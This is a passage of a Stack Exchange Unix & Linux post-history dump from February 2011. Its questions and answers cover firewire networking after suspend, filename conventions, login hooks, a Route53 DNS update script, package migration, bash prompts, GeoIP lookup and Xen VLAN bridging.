  <row Id="17190" PostHistoryTypeId="5" PostId="5635" RevisionGUID="54217bb5-4c46-4b08-b82c-8db6e6f9248b" CreationDate="2011-02-14T15:28:32.207" UserId="1974" Comment="added 130 characters in body" Text="As mentioned [in this question](http://unix.stackexchange.com/questions/5372/under-ubuntu-how-do-i-set-a-static-ip-for-firewire) I am using a firewire cable to provide a private network between my laptop and my desktop, because it makes using the screen sharing program `synergy` much nicer than using WIFI.&#xD;&#xA;&#xD;&#xA;However when I leave my office for the day and I suspend my laptop, when I return the next day, the desktop and the laptop cannot communicate over firewire anymore. The `firewire0` device still has an IP address. but when I try and ping the desktop I get `no route to host`&#xD;&#xA;&#xD;&#xA;I'm using kernel `2.6.35-24-generic #42-Ubuntu SMP x86_64` on Ubuntu 10.10.&#xD;&#xA;&#xD;&#xA;Is there some way I can remedy this without a reboot? Like, removing some kernel modules and re-inserting them?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**EDIT:** Here's what I have tried so far and the results:&#xD;&#xA;&#xD;&#xA;    root@token:~# dmesg|tail -n 1&#xD;&#xA;    [592525.204024] firewire_core: phy config: card 0, new root=ffc1, gap_count=5&#xD;&#xA;&#xD;&#xA;    root@token:~# modprobe -r firewire_net firewire_ohci firewire_core&#xD;&#xA;    root@token:~# modprobe -v firewire_ohci&#xD;&#xA;    insmod /lib/modules/2.6.35-24-generic/kernel/lib/crc-itu-t.ko &#xD;&#xA;    insmod /lib/modules/2.6.35-24-generic/kernel/drivers/firewire/firewire-core.ko &#xD;&#xA;    insmod /lib/modules/2.6.35-24-generic/kernel/drivers/firewire/firewire-ohci.ko &#xD;&#xA;&#xD;&#xA;    root@token:~# dmesg|tail&#xD;&#xA;    [592525.204024] firewire_core: phy config: card 0, new root=ffc1, gap_count=5&#xD;&#xA;    [592563.410868] firewire_ohci: Removed fw-ohci device.&#xD;&#xA;    [592579.160086] firewire_ohci: Added fw-ohci device 0000:02:00.0, OHCI v1.10, 4 IR + 8 IT contexts, quirks 0x2&#xD;&#xA;    [592579.160137] firewire_ohci: isochronous cycle inconsistent&#xD;&#xA;    [592579.660294] firewire_core: created device fw0: GUID 0000000000000000, S400&#xD;&#xA;    [592579.663805] firewire_core: created device fw1: GUID 0017f2fffe89bce6, S400&#xD;&#xA;    [592579.663813] firewire_core: phy config: card 0, new root=ffc1, gap_count=5&#xD;&#xA;    [592579.700720] firewire_core: phy config: card 0, new root=ffc1, gap_count=5&#xD;&#xA;    [592579.700842] firewire_core: refreshed device fw0&#xD;&#xA;    [592579.702603] firewire_net: firewire0: IPv4 over FireWire on device 0000000000000000&#xD;&#xA;&#xD;&#xA;    root@token:~# ping stan.firewire&#xD;&#xA;    PING stan.firewire (192.168.100.1) 56(84) bytes of data.&#xD;&#xA;    From token.local (192.168.100.3) icmp_seq=1 Destination Host Unreachable&#xD;&#xA;    From token.local (192.168.100.3) icmp_seq=2 Destination Host Unreachable&#xD;&#xA;    From token.local (192.168.100.3) icmp_seq=3 Destination Host Unreachable&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**EDIT 2:** I also tried removing the modules prior to suspending, and re-inserting after resuming. This did not work either :-(" />
  <row Id="17191" PostHistoryTypeId="2" PostId="7391" RevisionGUID="bc47bf0d-697c-4cb2-aacf-33d70a59d786" CreationDate="2011-02-14T15:31:43.997" UserId="4565" Text="For all users, or a particular user? For a single user, set it in their `.bashrc` file; for all users, check out [pam_exec][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kernel.org/pub/linux/libs/pam/Linux-PAM-html/sag-pam_exec.html" />
  <row Id="17192" PostHistoryTypeId="2" PostId="7392" RevisionGUID="d4909f30-76b9-4d52-9b57-97264cced8f5" CreationDate="2011-02-14T15:44:45.017" UserId="3389" Text="My take on Unix/Linux filename conventions:&#xD;&#xA;&#xD;&#xA;- Unix/Linux filesystems don't inherently support the notion of an extension.  The concept of a file extension completely exists as something supported by utilities such as `cp`, `ls`, or the shell you are using.  I believe it is this way on NTFS as well, but I could be wrong.&#xD;&#xA;&#xD;&#xA;- Executables, including shell scripts, usually never have any type of extension.  Scripts will have a hashbang line (i.e. `#!/bin/bash`) that identifies what program should interpret it.  &#xD;&#xA;- Any executable that is two letters long is super important.  So don't name your executables two-letter filenames.&#xD;&#xA;- Sometimes `.d` is appended to directory names, particularly in `/etc`, but this isn't widespread.&#xD;&#xA;- `rc` is widely used for configuration scripts or files, either prepending (e.g., `rc.local`) or suffixing (`.vimrc`)&#xD;&#xA;- The Unix/Linux community has never had a three-character limit on extensions and frowns upon shortening well know extensions to fit.  For example, don't use `.htm` at the end of HTML files on Unix/Linux, use `.html`.&#xD;&#xA;- In a set of files, a filename is sometimes capitalized, or in all caps, so it appears at the head of a directory listing.  The classic example is `Makefile` in source packages.  Only do this for stuff like `README`.&#xD;&#xA;- `~` is used to identify a backup file or a directory, as in `important_stuff~`, or `/etc~`.  " />
  <row Id="17193" PostHistoryTypeId="5" PostId="7331" RevisionGUID="14fb5f50-4ead-4cd0-b314-77a82a56e029" CreationDate="2011-02-14T16:09:09.020" UserId="2011" Comment="added 119 characters in body" Text="It is generally possible to roll a system with Busybox; busybox's web site details how to do this.&#xD;&#xA;&#xD;&#xA;A statically linked busybox binary will require just a couple of megs of memory (over what the kernel requires, of course). I've been able to boot and log into a machine with 8M of ram.&#xD;&#xA;&#xD;&#xA;However, it is relatively complicated to get all the system services you may require working, using a small existing distribution might be better.&#xD;&#xA;&#xD;&#xA;How much is &quot;little memory&quot;? Are you on a really tiny embedded system? Unless you have less than 64M, or your process needs to use a lot of the available ram (and no swap), I'd recommend going with a minimal standard distro.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Edit: The &quot;buildroot&quot; tool is a companion of Busybox which helps you to build very small usable filesystems." />
  <row Id="17194" PostHistoryTypeId="5" PostId="7391" RevisionGUID="4c0457a6-0d0c-4d54-97c9-dcdf05fae4b4" CreationDate="2011-02-14T16:20:01.440" UserId="4565" Comment="added 123 characters in body" Text="For all users, or a particular user? For a single user, set it in their `.bashrc` file; for all users, check out [pam_exec][1]. If the users are coming in from `sshd`, you'll want to check the `/etc/pam.d/sshd`; other files depending on their source.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kernel.org/pub/linux/libs/pam/Linux-PAM-html/sag-pam_exec.html" />
  <row Id="17195" PostHistoryTypeId="2" PostId="7393" RevisionGUID="fd2ea0c5-81a0-48c9-87c1-fb1518602930" CreationDate="2011-02-14T17:03:51.650" UserId="4080" Text="I have several Amazon EC2 instances, running Ubuntu 10.04, with which I'd like to use Amazon's Route53.  I setup a script as described in Shlomo Swidler's [article][1], but I'm still missing something.&#xD;&#xA;&#xD;&#xA;When the script runs, it doesn't return any output, which I initially assumed meant it ran correctly.  However, when I check the DNS records using [MyR53DNS][2], there are no entries for my instances.  Here's my script:&#xD;&#xA;&#xD;&#xA;    #!/bin/tcsh -f&#xD;&#xA;    &#xD;&#xA;    set root=`dirname $0`&#xD;&#xA;    setenv EC2_HOME /usr/lib/ec2-api-tools&#xD;&#xA;    setenv EC2_CERT /etc/cron.route53/ec2_x509_cert.pem&#xD;&#xA;    setenv EC2_PRIVATE_KEY /etc/cron.route53/ec2_x509_private.pem&#xD;&#xA;    setenv AWS_ACCESS_KEY_ID myaccesskeyid&#xD;&#xA;    setenv AWS_SECRET_ACCESS_KEY mysecretaccesskey&#xD;&#xA;    &#xD;&#xA;    /user/bin/ec2-describe-instances | \&#xD;&#xA;    perl -ne '/^INSTANCE\s+(i-\S+).*?(\S+\.amazonaws\.com)/ \&#xD;&#xA;    and do { $dns = $2; print &quot;$1 $dns\n&quot; }; /^TAG.+\sShortName\s+(\S+)/ \&#xD;&#xA;    and print &quot;$1 $dns\n&quot;' | \&#xD;&#xA;    perl -ane 'print &quot;$F[0] CNAME $F[1] --replace\n&quot;' | \&#xD;&#xA;    xargs -n 4 $/etc/cron.route53/cli53/cli53.py \&#xD;&#xA;    rrcreate -x 60 mydomain.com&#xD;&#xA;&#xD;&#xA;Does anyone see a problem with this script?  If its not the script, what else could be preventing my Route53 domain from being updated?&#xD;&#xA;&#xD;&#xA;I am using the Security Groups to IP-restrict the instances.  I've tried opening port 53, but that didn't seem to have an effect.  Is there another port that Route53 uses?&#xD;&#xA;&#xD;&#xA;I'd appreciate any help or guidance the Unix &amp; Linux community can offer.  Let me know if you need any further info.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://shlomoswidler.com/2010/12/using-aws-route-53-to-keep-track-of-ec2-instances.html?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed:%20CloudDeveloperTips%20(Cloud%20Developer%20Tips%20by%20Shlomo%20Swidler)&amp;utm_content=Twitter&#xD;&#xA;  [2]: https://myr53dns.com" />
  <row Id="17196" PostHistoryTypeId="1" PostId="7393" RevisionGUID="fd2ea0c5-81a0-48c9-87c1-fb1518602930" CreationDate="2011-02-14T17:03:51.650" UserId="4080" Text="Attempting to update Amazon Route53 using a script, but domain is not being updated" />
  <row Id="17197" PostHistoryTypeId="3" PostId="7393" RevisionGUID="fd2ea0c5-81a0-48c9-87c1-fb1518602930" CreationDate="2011-02-14T17:03:51.650" UserId="4080" Text="élinuxàéubuntuàéscriptingàédnsà" />
  <row Id="17198" PostHistoryTypeId="25" PostId="7390" RevisionGUID="d6e4b83d-35aa-4c70-ad1f-c8fa6b5d0448" CreationDate="2011-02-14T17:22:46.573" Comment="http://twitter.com/#!/StackUnix/status/37200087436238848" />
  <row Id="17199" PostHistoryTypeId="2" PostId="7394" RevisionGUID="38aa8744-4903-4584-9bc2-e18e42f7d279" CreationDate="2011-02-14T17:36:33.060" UserId="2241" Text="&#xD;&#xA;there's another way which only influences users using ssh not local ones (which might be better in emergency situations)&#xD;&#xA;&#xD;&#xA;see the snippets from the ssh man page below.&#xD;&#xA;&#xD;&#xA;in this case the users can usually modify the files themselves (a bit like .bashrc)&#xD;&#xA;&gt;      ~/.ssh/rc&#xD;&#xA;             Commands in this file are executed by ssh when the user logs in, just before the user's shell (or command) is started.  See the sshd(8) manual page for more information.&#xD;&#xA;&#xD;&#xA;and this is global and not modifiable by the normal user&#xD;&#xA;&gt;      /etc/sshrc&#xD;&#xA;             Commands in this file are executed by ssh when the user logs in, just before the user's shell (or command) is started.  See the sshd(8) manual page for more information.&#xD;&#xA;&#xD;&#xA;HTH&#xD;&#xA;Marcel" />
  <row Id="17200" PostHistoryTypeId="2" PostId="7395" RevisionGUID="33664522-737b-4536-82fd-37fc13f462aa" CreationDate="2011-02-14T17:44:46.363" UserId="4520" Text="Given sufficient memory your build out of the ramdisk does no I/O.  This can speed up anything that reads or writes files.  I/O is one of the slowest operations.  Even if you get everything cached before the build you still have the I/Os for write, although they should have minimal impact.&#xD;&#xA;&#xD;&#xA;You may get some speedup by pre-loading all the files into cache, but the time taken to to that should be included in the total build times.  This may not give you much advantage.  &#xD;&#xA;&#xD;&#xA;Building the object and intermediate files into RAM rather than disk.  Doing incremental builds may get you significant gains on frequent builds.  On most projects I do a daily clean build and incremental builds in between.  Integration builds are always clean builds, but I try to limit them to less than one per day.&#xD;&#xA;&#xD;&#xA;You may gain some performance by using an ext2 partition with atime turned off.  Your source should be in version control on a journaled file system like ext3/4.  " />
  <row Id="17201" PostHistoryTypeId="2" PostId="7396" RevisionGUID="90018c8c-6508-4656-99dd-698733cec6e7" CreationDate="2011-02-14T17:58:57.803" UserId="1375" Text="I am trying out tiling window managers like scrotWM, and have noticed that GUI programs start with a &quot;theme&quot; (or lack, thereof) that looks like the bland Redmond theme. Is there a way to specify the appearance/themes of windows in a tiling window manager? Or is it window manager OR GUI toolkit specific? Thanks." />
  <row Id="17202" PostHistoryTypeId="1" PostId="7396" RevisionGUID="90018c8c-6508-4656-99dd-698733cec6e7" CreationDate="2011-02-14T17:58:57.803" UserId="1375" Text="Theming in tiling window managers?" />
  <row Id="17203" PostHistoryTypeId="3" PostId="7396" RevisionGUID="90018c8c-6508-4656-99dd-698733cec6e7" CreationDate="2011-02-14T17:58:57.803" UserId="1375" Text="éwindowsàéwindowömanageràéguiàétilingàéthemeà" />
  <row Id="17204" PostHistoryTypeId="2" PostId="7397" RevisionGUID="3ecd0b19-6195-4b0c-8e9e-a9dcaa0ffd48" CreationDate="2011-02-14T18:54:37.800" UserId="3309" Text="Here's how to get everything except what you've manually configured:&#xD;&#xA;&#xD;&#xA;    dpkg --get-selections &gt; packages.txt&#xD;&#xA;    debconf-get-selections &gt; debconf.txt&#xD;&#xA;&#xD;&#xA;Edit these files as necessary for anything that's arch dependent (e.g., linux-image), but I don't think there will be much.&#xD;&#xA;&#xD;&#xA;Copy these files to the new system then run:&#xD;&#xA;&#xD;&#xA;    debconf-set-selections &lt; debconf.txt&#xD;&#xA;    dpkg --set-selections &lt; packages.txt&#xD;&#xA;    apt-get dselect-upgrade&#xD;&#xA;&#xD;&#xA;You'll also want to copy (preferably with rsync) /home and any other data directories to the new system.&#xD;&#xA;&#xD;&#xA;The only thing left will be config files from major packages (e.g., apache, bind, cronjobs, et al.)." />
  <row Id="17208" PostHistoryTypeId="2" PostId="7399" RevisionGUID="14237933-c3a2-4d1e-8d3a-0b62938423a6" CreationDate="2011-02-14T19:22:36.887" UserId="4763" Text="Is there a console command that takes an IP address as an input and shows its geographical information like city, country, ISP, etc.? " />
  <row Id="17209" PostHistoryTypeId="1" PostId="7399" RevisionGUID="14237933-c3a2-4d1e-8d3a-0b62938423a6" CreationDate="2011-02-14T19:22:36.887" UserId="4763" Text="IP to Country console command" />
  <row Id="17210" PostHistoryTypeId="3" PostId="7399" RevisionGUID="14237933-c3a2-4d1e-8d3a-0b62938423a6" CreationDate="2011-02-14T19:22:36.887" UserId="4763" Text="éterminalà" />
  <row Id="17211" PostHistoryTypeId="2" PostId="7400" RevisionGUID="608d9151-f816-4b02-9fbd-9bbc215c536e" CreationDate="2011-02-14T19:24:25.660" UserId="4764" Text="right now in my MacOS X terminal I have &quot;MyComputer:~ me$ &quot; before all the commands.&#xD;&#xA;&#xD;&#xA;In some vidos I saw they have just &quot;$ &quot; - that's much less clutter, how is it done?" />
  <row Id="17212" PostHistoryTypeId="1" PostId="7400" RevisionGUID="608d9151-f816-4b02-9fbd-9bbc215c536e" CreationDate="2011-02-14T19:24:25.660" UserId="4764" Text="terminal - having &quot;$&quot; instead of MyComputer:~ me$ " />
  <row Id="17213" PostHistoryTypeId="3" PostId="7400" RevisionGUID="608d9151-f816-4b02-9fbd-9bbc215c536e" CreationDate="2011-02-14T19:24:25.660" UserId="4764" Text="éterminalàéosxà" />
  <row Id="17214" PostHistoryTypeId="2" PostId="7401" RevisionGUID="33b78a18-979b-4b01-a722-d6e45170c463" CreationDate="2011-02-14T19:26:31.087" UserId="885" Text="Many customizations live in your home directory, and you can copy that to the new machine. The system settings can't be copied so easily because of the change in processor architecture.&#xD;&#xA;&#xD;&#xA;On Ubuntu 10.10 and up, try [OneConf](https://wiki.ubuntu.com/OneConf).&#xD;&#xA;&#xD;&#xA;&gt; OneConf is a mechanism for recording software information in Ubuntu One, and synchronizing with other computers as needed. In Maverick, the list of installed software is stored. This may eventually expand to include some application settings and application state. Other tools like [Stipple](https://launchpad.net/stipple) can provide more advanced settings/control. &#xD;&#xA;&#xD;&#xA;If you do things manually, the main thing you'll want to reproduce is the set of installed packages. See [Ubuntu list explicitly installed packages](http://unix.stackexchange.com/questions/3595/ubuntu-list-explicitly-installed-packages) and the Super User and Ask Ubuntu questions cited there, especially [Telemachus's answer](http://superuser.com/questions/6338/how-do-you-track-which-packages-were-installed-on-ubuntu-linux/6932#6932). In a nutshell:&#xD;&#xA;&#xD;&#xA;    # On the original installation:&#xD;&#xA;    aptitude search '~i !~M' -F &quot;%p install&quot; &gt;manual-selections.txt&#xD;&#xA;    # On the new installation:&#xD;&#xA;    dpkg --get-selections &lt;manual-selections.txt&#xD;&#xA;    aptitude   # review and start the installation&#xD;&#xA;&#xD;&#xA;For things you've changed in `/etc`, you'll need to review them. Many have to do with the specific hardware or network settings and should not be copied. Others have to do with personal preferences — but you should set personal preferences on a per-user basis whenever possible, so that the settings are saved in your home directory.&#xD;&#xA;&#xD;&#xA;If you plan in advance, you can use [etckeeper](http://packages.ubuntu.com/etckeeper) [![Install etckeeper](http://bit.ly/software-small)](http://apt.ubuntu.com/p/etckeeper) to put `/etc` under version control ([etckeeper quickstart](http://askubuntu.com/questions/8329/is-there-a-system-journal-that-i-can-install/8343#8343)). You don't need to know anything about version control to use etckeeper, you only need to start learning if you want to take advantage of it to do fancy things. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="17215" PostHistoryTypeId="2" PostId="7402" RevisionGUID="dddefe8a-5cf4-45d7-bedb-60941fdcc03e" CreationDate="2011-02-14T19:32:10.690" UserId="885" Text="Yes, theming is specific to each particular application (window manager or otherwise). Applications that use the same GUI toolkit usually use the same configuration mechanism to select a theme, so they'll look the same.&#xD;&#xA;&#xD;&#xA;Many tiling window managers are designed to have a low visible footprint, so there's not much room for visual theming. Maybe that's why you consider them bland.&#xD;&#xA;" />
  <row Id="17216" PostHistoryTypeId="2" PostId="7403" RevisionGUID="1d18b22a-611d-4e62-8c0f-2a3f3bd54410" CreationDate="2011-02-14T19:42:47.523" UserId="885" Text="This text is printed by your [shell](http://unix.stackexchange.com/tags/shell/info), and it's called a [prompt](http://en.wikipedia.org/wiki/Command-line_interface#Command_prompt).&#xD;&#xA;&#xD;&#xA;Your shell is probably [bash](http://unix.stackexchange.com/tags/bash/info). The prompt is set in bash's initialisation file, which is `.bashrc` in your home directory. Specifically, the prompt is set by the `PS1` variable. Its value can contain [escape sequences](http://www.gnu.org/software/bash/manual/html_node/Printing-a-Prompt.html) that are replaced by some value when the prompt is displayed. For example, `MyComputer:~ me$ ` results from a prompt setting like&#xD;&#xA;&#xD;&#xA;    PS1='\h:\w \u\$ '  # host name colon working directory space user name dollar space&#xD;&#xA;&#xD;&#xA;Try adding the following line at the end of your `.bashrc` (create it if it doesn't exist):&#xD;&#xA;&#xD;&#xA;    PS1='\$ '&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;If this doesn't change anything, it's because you have a login shell and no proper `.bash_profile`. See [Difference between .bashrc and .bash_profile](http://superuser.com/questions/183870/difference-between-bashrc-and-bash-profile) for an explanation. Short story: create a `.bash_profile` containing&#xD;&#xA;&#xD;&#xA;    if [ -r ~/.profile ]; then . ~/.profile; fi&#xD;&#xA;    case &quot;$-&quot; in *i*) if [ -r ~/.bashrc ]; then . ~/.bashrc; fi;; esac&#xD;&#xA;" />
  <row Id="17217" PostHistoryTypeId="6" PostId="7400" RevisionGUID="9fc43477-442b-424d-b4c9-fcefba74029a" CreationDate="2011-02-14T19:43:04.780" UserId="885" Comment="formatting; tags" Text="ébashàéterminalàéosxàépromptà" />
  <row Id="17218" PostHistoryTypeId="5" PostId="7400" RevisionGUID="9fc43477-442b-424d-b4c9-fcefba74029a" CreationDate="2011-02-14T19:43:04.780" UserId="885" Comment="formatting; tags" Text="Right now in my MacOS X terminal I have `MyComputer:~ me$ ` before all the commands.&#xD;&#xA;&#xD;&#xA;In some vidos I saw they have just `$ ` - that's much less clutter, how is it done?" />
  <row Id="17219" PostHistoryTypeId="2" PostId="7404" RevisionGUID="ffba289e-f40a-4ff4-a7c5-0a4caff1c4ce" CreationDate="2011-02-14T20:01:02.697" UserId="885" Text="The command is the easy part, the difficult part is having access to a database.&#xD;&#xA;&#xD;&#xA;For example, Ubuntu has a free database with a command line query tool ([`geoiplookup`](http://manpages.ubuntu.com/manpages/lucid/man1/geoiplookup.1.html)) in the [`geoip-bin`](http://packages.ubuntu.com/geoip-bin) [![Install geoip-bin](http://bit.ly/software-small)](http://apt.ubuntu.com/p/geoip-bin) package. But it only shows country information, and uses a static (hence out-of-date) database. This tool can also query the [MaxMind](http://www.maxmind.com/) GeoIP database, if you have a subscription there.&#xD;&#xA;&#xD;&#xA;There are various GeoIP databases that you can look up. They're generally meant to be viewed through a web browser, but you can look for a scraping script. For example, here's a [ruby script to retrieve data from the MaxMind database](http://snippets.aktagon.com/snippets/179-Geolocation-with-MaxMind-s-GeoIP-and-the-geoip-city-RubyGem). Note that scraping may be against the database's terms of service.&#xD;&#xA;" />
  <row Id="17220" PostHistoryTypeId="6" PostId="7399" RevisionGUID="ca5f46d2-12e9-47f5-8c2b-7437a2c208ab" CreationDate="2011-02-14T20:02:09.387" UserId="885" Comment="edited tags" Text="écommandölineàéipàégeolocationà" />
  <row Id="17221" PostHistoryTypeId="6" PostId="7393" RevisionGUID="fb0337d1-e2d9-44dc-b99d-eece3d3fc392" CreationDate="2011-02-14T20:11:00.673" UserId="885" Comment="edited tags" Text="élinuxàédnsàétcshàéamazonöec2à" />
  <row Id="17222" PostHistoryTypeId="5" PostId="7392" RevisionGUID="bd330bba-ba90-4964-80ac-77e149a61aa2" CreationDate="2011-02-14T20:15:47.127" UserId="3389" Comment="added more stuff" Text="My take on Unix/Linux filename conventions:&#xD;&#xA;&#xD;&#xA;- Unix/Linux filesystems don't inherently support the notion of an extension.  The concept of a file extension completely exists as something supported by utilities such as `cp`, `ls`, or the shell you are using.  I believe it is this way on NTFS as well, but I could be wrong.&#xD;&#xA;&#xD;&#xA;- Executables, including shell scripts, usually never have any type of extension.  Scripts will have a hashbang line (i.e. `#!/bin/bash`) that identifies what program should interpret it.&#xD;&#xA;- Any executable that is two letters long is super important.  So don't name your executables two-letter filenames.  Any file in `/etc` ending in `tab` is also super important, such as `fstab`, `mtab`, `inittab`.&#xD;&#xA;- Sometimes `.d` is appended to directory names, particularly in `/etc`, but this isn't widespread.&#xD;&#xA;- `rc` is widely used for configuration scripts or files, either prepending (e.g., `rc.local`) or suffixing (`.vimrc`)&#xD;&#xA;- The Unix/Linux community has never had a three-character limit on extensions and frowns upon shortening well know extensions to fit.  For example, don't use `.htm` at the end of HTML files on Unix/Linux, use `.html`.&#xD;&#xA;- In a set of files, a filename is sometimes capitalized, or in all caps, so it appears at the head of a directory listing.  The classic example is `Makefile` in source packages.  Only do this for stuff like `README`.&#xD;&#xA;- `~` is used to identify a backup file or a directory, as in `important_stuff~`, or `/etc~`.  Many shells will expand a lone `~` to `$HOME`.  &#xD;&#xA;- Library files almost always begin with `lib`.  Exception is `zlib` and probably a few others.&#xD;&#xA;- Scripts that are called by inetd sometimes are tagged with a leading `in.`, such as `in.tftpd`.&#xD;&#xA;- The ending z in `vmlinuz` means zipped, but I've never seen any other file named this way." />
  <row Id="17223" PostHistoryTypeId="25" PostId="7399" RevisionGUID="5227d2a3-6447-42e8-a0e9-c16a2d2aae1e" CreationDate="2011-02-14T20:22:46.587" Comment="http://twitter.com/#!/StackUnix/status/37245385709715457" />
  <row Id="17230" PostHistoryTypeId="5" PostId="7393" RevisionGUID="52ac2792-1de9-492e-bc8e-994b72e45a15" CreationDate="2011-02-14T20:27:45.330" UserId="4080" Comment="deleted 8 characters in body" Text="I have several Amazon EC2 instances, running Ubuntu 10.04, with which I'd like to use Amazon's Route53.  I setup a script as described in Shlomo Swidler's [article][1], but I'm still missing something.&#xD;&#xA;&#xD;&#xA;When the script runs, it doesn't return any output, which I initially assumed meant it ran correctly.  However, when I check the DNS records using [MyR53DNS][2], there are no entries for my instances.  Here's my script:&#xD;&#xA;&#xD;&#xA;    #!/bin/tcsh -f&#xD;&#xA;    &#xD;&#xA;    set root=`dirname $0`&#xD;&#xA;    setenv EC2_HOME /usr/lib/ec2-api-tools&#xD;&#xA;    setenv EC2_CERT /etc/cron.route53/ec2_x509_cert.pem&#xD;&#xA;    setenv EC2_PRIVATE_KEY /etc/cron.route53/ec2_x509_private.pem&#xD;&#xA;    setenv AWS_ACCESS_KEY_ID myaccesskeyid&#xD;&#xA;    setenv AWS_SECRET_ACCESS_KEY myaccesskey&#xD;&#xA;    &#xD;&#xA;    /usr/bin/ec2-describe-instances | \&#xD;&#xA;    perl -ne '/^INSTANCE\s+(i-\S+).*?(\S+\.amazonaws\.com)/ \&#xD;&#xA;    and do { $dns = $2; print &quot;$1 $dns\n&quot; }; /^TAG.+\sShortName\s+(\S+)/ \&#xD;&#xA;    and print &quot;$1 $dns\n&quot;' | \&#xD;&#xA;    perl -ane 'print &quot;$F[0] CNAME $F[1] --replace\n&quot;' | \&#xD;&#xA;    xargs -n 4 /etc/cron.route53/cli53/cli53.py \&#xD;&#xA;    rrcreate -x 60 mydomain.com&#xD;&#xA;&#xD;&#xA;Does anyone see a problem with this script?  If its not the script, what else could be preventing my Route53 domain from being updated?&#xD;&#xA;&#xD;&#xA;I am using the Security Groups to IP-restrict the instances.  I've tried opening port 53, but that didn't seem to have an effect.  Is there another port that Route53 uses?&#xD;&#xA;&#xD;&#xA;I'd appreciate any help or guidance the Unix &amp; Linux community can offer.  Let me know if you need any further info.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://shlomoswidler.com/2010/12/using-aws-route-53-to-keep-track-of-ec2-instances.html?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed:%20CloudDeveloperTips%20(Cloud%20Developer%20Tips%20by%20Shlomo%20Swidler)&amp;utm_content=Twitter&#xD;&#xA;  [2]: https://myr53dns.com" />
  <row Id="17231" PostHistoryTypeId="2" PostId="7406" RevisionGUID="1726b800-624e-4928-ac67-e64cdc8cba8b" CreationDate="2011-02-14T20:32:26.900" UserId="885" Text="If it's at all an option, I recommend making the “physical” location of each home directory something like `/net/$hostname/$username`, i.e., include the name of the server as part of the path. Then arrange for `/home/$username` to point to `/home/$(server-of $username)/$username`.&#xD;&#xA;&#xD;&#xA;One possibility is to make `/home` a [union mount](http://en.wikipedia.org/wiki/Union_mount) of all the `/net/*`.&#xD;&#xA;&#xD;&#xA;Alternatively, you can make `/home` an automount point and set up the automounter to mount `/net/file-server/$username` for a NIS user or `/home.local/$username` for a local user.&#xD;&#xA;" />
  <row Id="17232" PostHistoryTypeId="2" PostId="7407" RevisionGUID="c777e04f-4d3e-4716-88e9-7bb0c0eb9887" CreationDate="2011-02-14T20:39:17.003" UserId="885" Text="I'm not sure I follow what you've done. It would help if you used example names and perhaps showed the commands you used.&#xD;&#xA;&#xD;&#xA;If I understand your question correctly, you now have two volume groups, A (new) and B (old), and you have some logical volumes in B that you'd like to be in A. First run `vgscan` and perhaps `vgchange -ay` to make sure all your volume groups are active. Then run `vgmerge` to merge the two volume groups into one, or `vgsplit` to move some physical volumes from B to A.&#xD;&#xA;" />
  <row Id="17233" PostHistoryTypeId="6" PostId="7386" RevisionGUID="1bb4df1f-2b5c-462e-8930-ff2ffd2622ec" CreationDate="2011-02-14T20:39:27.393" UserId="885" Comment="edited tags" Text="élinuxàélvmà" />
  <row Id="17234" PostHistoryTypeId="2" PostId="7408" RevisionGUID="f8606dd2-e2a9-467c-abc2-4751b877f722" CreationDate="2011-02-14T20:42:07.977" UserId="4768" Text="What is the minimum version of Solaris SunOS that supports liblgrp?" />
  <row Id="17235" PostHistoryTypeId="1" PostId="7408" RevisionGUID="f8606dd2-e2a9-467c-abc2-4751b877f722" CreationDate="2011-02-14T20:42:07.977" UserId="4768" Text="What is the minimum version for liblgrp support on Solaris" />
  <row Id="17236" PostHistoryTypeId="3" PostId="7408" RevisionGUID="f8606dd2-e2a9-467c-abc2-4751b877f722" CreationDate="2011-02-14T20:42:07.977" UserId="4768" Text="ésolarisà" />
  <row Id="17237" PostHistoryTypeId="5" PostId="7385" RevisionGUID="9c870b99-a4b1-4068-bbd6-99436033d75d" CreationDate="2011-02-14T20:42:09.197" UserId="885" Comment="search `.` rather than `*` to include dot files and cope with file names beginning with `-`" Text="GNU grep allows searching recursively through subdirectories:&#xD;&#xA;&#xD;&#xA;    grep -r --include='*.h' 'the string' ." />
  <row Id="17238" PostHistoryTypeId="5" PostId="7378" RevisionGUID="b14a5e1d-e605-448f-a999-84be22ecb884" CreationDate="2011-02-14T20:48:28.050" UserId="885" Comment="added hyperlink" Text="Straightforward one: serve local directory with something like [SimpleHTTPServer](http://docs.python.org/library/simplehttpserver.html), then re-`wget` from localhost with appropriate options." />
  <row Id="17239" PostHistoryTypeId="2" PostId="7409" RevisionGUID="33bae890-158c-4590-bf8e-73048b4788ac" CreationDate="2011-02-14T20:59:52.717" UserId="885" Text="It is [documented](http://download.oracle.com/docs/cd/E19683-01/817-0713/6mggblq4k/index.html) in [Solaris 9](http://download.oracle.com/docs/cd/E19683-01/index.html)&#xD;&#xA;but [not](http://search.oracle.com/search/search?group=Documentation&amp;q=liblgrp+url:/docs/cd/E19455-01) in [Solaris 8](http://download.oracle.com/docs/cd/E19455-01/index.html).&#xD;&#xA;" />
  <row Id="17240" PostHistoryTypeId="2" PostId="7410" RevisionGUID="9cdf52bc-2eec-4acf-bb5b-6833de9c8505" CreationDate="2011-02-14T21:10:23.447" UserId="4769" Text="Hi,&#xD;&#xA;&#xD;&#xA;I have a setup with virtual Xen hosts connected to a set of VLAN-s.  On Dom0, I have set up a bridge for each of my VLAN-s to connect DomU-s to.  Bridges are set up in /etc/network/interfaces like this:&#xD;&#xA;&#xD;&#xA;    auto eth0&#xD;&#xA;    iface eth0 inet manual&#xD;&#xA;&#xD;&#xA;    auto eth0.1&#xD;&#xA;    iface eth0.1 inet manual&#xD;&#xA;      vlan_raw_device eth0&#xD;&#xA;&#xD;&#xA;    auto br1&#xD;&#xA;    iface br1 inet manual&#xD;&#xA;      bridge_ports eth0.1&#xD;&#xA;&#xD;&#xA;For most of these interfaces, I don't want Dom0 to be reachable, I just want it to bridge.&#xD;&#xA;&#xD;&#xA;However, with IPv6, each interface automatically gets a link local address on the fe80::/64-network, which effectively breaks my security by letting Dom0 be available on all 